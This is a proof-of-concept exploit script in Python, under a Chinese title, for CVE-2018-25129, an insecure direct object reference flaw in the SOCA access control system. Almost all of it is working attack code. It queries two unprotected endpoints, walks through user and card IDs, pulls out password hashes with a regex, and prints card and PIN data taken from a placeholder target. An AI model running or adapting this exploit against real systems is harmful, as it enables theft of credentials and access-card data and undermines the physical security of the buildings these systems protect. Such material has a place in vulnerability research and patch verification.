CVE-2018-25129 - SOCA访问控制系统不安全直接对象引用漏洞

# CVE-2018-25129 PoC - SOCA Access Control System IDOR # Exploit for retrieving user password hashes via unprotected endpoints import requests import sys import re target_url = "http://target.com/" def exploit_get_permissions(): """Exploit Get_Permissions_From_DB.php endpoint""" endpoint = f"{target_url}Get_Permissions_From_DB.php" # IDOR: Change user_id parameter to enumerate users params = {"user_id": "1"} # Can be modified to target other users try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: # Extract password hash from response hash_match = re.search(r'[a-fA-F0-9]{32,}', response.text) if hash_match: return hash_match.group(0) except Exception as e: print(f"Error: {e}") return None def exploit_read_sort_card(): """Exploit Ac10_ReadSortCard endpoint""" endpoint = f"{target_url}Ac10_ReadSortCard" # IDOR: Direct access to card data without authorization params = {"card_id": "1"} # Modify to enumerate cards try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: return response.text except Exception as e: print(f"Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2018-25129 PoC - SOCA Access Control System IDOR") print("[*] Target:", target_url) print("\n[1] Attempting to retrieve password hash...") password_hash = exploit_get_permissions() if password_hash: print(f"[!] Found password hash: {password_hash}") print("\n[2] Attempting to retrieve card/PIN data...") card_data = exploit_read_sort_card() if card_data: print(f"[!] Found card data: {card_data[:200]}...")